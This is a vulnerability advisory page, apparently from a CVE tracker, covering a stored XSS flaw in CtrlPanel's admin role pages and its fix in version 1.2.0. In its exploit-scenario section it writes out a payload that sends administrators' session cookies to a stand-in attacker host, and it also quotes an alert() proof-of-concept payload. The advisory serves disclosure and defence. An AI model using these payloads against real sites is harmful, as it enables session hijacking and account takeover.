Skip to main content

CtrlPanel CVE-2026-34246

| EUVDEUVD-2026-30986 MEDIUM
Basic XSS (CWE-80)
2026-05-19 GitHub_M
4.8
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as admin with role create/edit permission
  2. Delivery
    Inject XSS payload into role name or color field
  3. Exploit
    Payload persisted to database by DataTables rawColumns misconfiguration
  4. Execution
    Victim admin loads /admin/roles page
  5. Persist
    Browser renders unescaped HTML and executes injected script
  6. Impact
    Session cookie exfiltrated or admin actions performed on victim's behalf

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization HTML tag escaping
MITRE ATT&CK

1 technique across 1 tactic: Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated admin account with role creation or edit permissions in CtrlPanel (confirmed by CVSS PR:H). The payload executes only when a separate victim admin loads the /admin/roles DataTable page (confirmed by CVSS UI:R), meaning the attacker and victim must be distinct admin accounts - self-exploitation is not meaningful. The vulnerability is triggered specifically because the datatable() method in RoleController.php uses .rawColumns(['actions', 'name']), a developer-configured option that disables HTML escaping for the name column. Installations where only a single admin account exists are not exposed to cross-admin session theft, but are still vulnerable to self-persistent payload injection. The attack is limited to the admin panel and does not affect end-user (non-admin) sessions. No special server configuration, non-default feature flag, or specific PHP/Laravel version is required beyond having any CtrlPanel version 1.1.1 or earlier deployed with more than one admin user.

Impact

The CVSS 4.8 Medium score accurately reflects the constrained attack prerequisites: PR:H (high privileges - attacker must already hold an admin role with create/edit permissions) and UI:R (victim admin must visit /admin/roles). These factors substantially reduce the real-world attack surface compared to a typical unauthenticated stored XSS. However, S:C (Changed scope) signals that the impact crosses privilege boundaries - a malicious admin can use this to compromise other admins who may hold broader permissions or different access levels. The persistent, self-replicating nature of the payload (re-executes every page load) and the potential for lateral escalation within the admin panel make the actual business impact higher than the CVSS score alone suggests. No EPSS score was provided in the available data, so exploitation probability cannot be quantified numerically. No CISA KEV listing exists, meaning active widespread exploitation is not confirmed. The PoC payload is documented in the advisory description itself, lowering the bar for exploitation by anyone with admin access. Risk is primarily relevant to multi-admin deployments where trust boundaries between admins exist and where one admin account might be compromised or malicious.

Exploit ScenarioDerived

A malicious or compromised admin with role creation permissions navigates to the CtrlPanel role management interface and creates a new role with the name set to a payload such as <img src=x onerror="fetch('https://attacker.example/c?s='+document.cookie)">. The payload is stored in the database. When any other admin subsequently loads the /admin/roles page, their browser renders the raw HTML, silently exfiltrating their session cookie to the attacker - who then replays the cookie to hijack the victim's admin session. The payload persists and fires on every page load until the role record is deleted. A PoC payload of this form is documented in the CVE advisory itself.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 19, 2026

Stored XSS in CtrlPanel's admin role management interface (versions 1.1.1 and prior) allows a privileged admin to inject persistent malicious HTML into role name or color fields, which executes in the browser of every admin who subsequently loads the /admin/roles page. The attack enables session hijacking, credential harvesting via fake login prompts or keyloggers, and lateral privilege escalation by performing admin actions on behalf of victim admins - with the payload re-executing on every page load until the offending role record is manually deleted. No active exploitation is confirmed (not in CISA KEV), but a proof-of-concept payload is documented in the vendor advisory. Fixed in version 1.2.0.

RemediationAI

Upgrade to CtrlPanel version 1.2.0, which resolves this vulnerability per the official security advisory at https://github.com/Ctrlpanel-gg/panel/security/advisories/GHSA-wpqj-xwhq-2mmh and the release notes at https://github.com/Ctrlpanel-gg/panel/releases/tag/1.2.0. Version 1.2.0 is a major release that also includes significant bug fixes across credits, coupons, referrals, and server allocation logic. If immediate upgrade is not feasible, audit all existing role records in the database for suspicious HTML in the name and color fields (e.g., any values containing angle brackets, script tags, or event handler attributes) and remove or sanitize them - this is necessary even after patching if a payload was already injected. Additionally, restrict role creation and edit permissions to the minimum number of trusted admins to reduce the injection attack surface. Note that version 1.2.0 also includes a license change from AGPL 3.0 to Mozilla Public License 2.0, which may have procurement or compliance implications for organizations prior to upgrade.

Affected VersionsENISA

panel < 1.2.0

Affected Packages

euvd panel fix: 1.2.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

CtrlPanel is a PHP/Laravel-based open-source billing panel for hosting providers (CPE: cpe:2.3:a:ctrlpanel-gg:panel). The vulnerability originates in app/Http/Controllers/Admin/RoleController.php, where the datatable() method constructs HTML strings by directly interpolating $role->name and $role->color without sanitization. Critically, the chained .rawColumns(['actions', 'name']) call explicitly instructs the Laravel DataTables library to bypass its default output escaping for the name column, treating user-controlled database content as trusted raw HTML. Laravel's Blade templating engine normally escapes output via {{ }} syntax, but this server-side DataTables builder circumvents that protection by design - the developer explicitly opted into raw HTML rendering. The root cause class is CWE-80 (Improper Neutralization of Script-Related HTML Tags in a Web Page), a stored variant where the injection point is the database and the sink is the dynamically built DataTable response rendered in admin browsers.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 4.8 MEDIUM
AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Primary rating from Vendor (GitHub_M) · only source for this CVE.

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

1
Patch available
May 19, 2026 - 22:02 EUVD

DescriptionCVE.org

CtrlPanel is open-source billing software for hosting providers. Versions 1.1.1 and prior contain a Stored Cross-Site Scripting (XSS) vulnerability exists in the admin role management interface. In app/Http/Controllers/Admin/RoleController.php, the datatable() method interpolates $role->name and $role->color directly into a <span> element's HTML and style attribute without sanitization, and the chained .rawColumns(['actions', 'name']) call instructs DataTables to render the name column as raw HTML, bypassing automatic output escaping. An admin with role creation or edit permissions can inject a payload such as <img src=x onerror="alert('XSS_POC')"> into the name or color fields, which is persisted to the database and executes in the browser of every admin who loads the /admin/roles page. This enables session hijacking via cookie theft, credential harvesting through fake login prompts or keyloggers, lateral privilege escalation by performing admin actions on behalf of victims, and a persistent backdoor that re-executes on every page load until the malicious role record is removed. This issue has been resolved in version 1.2.0.

Threat Intelligence Overview

EPSS Score
0.0%
Top 94% exploitable
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

24
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy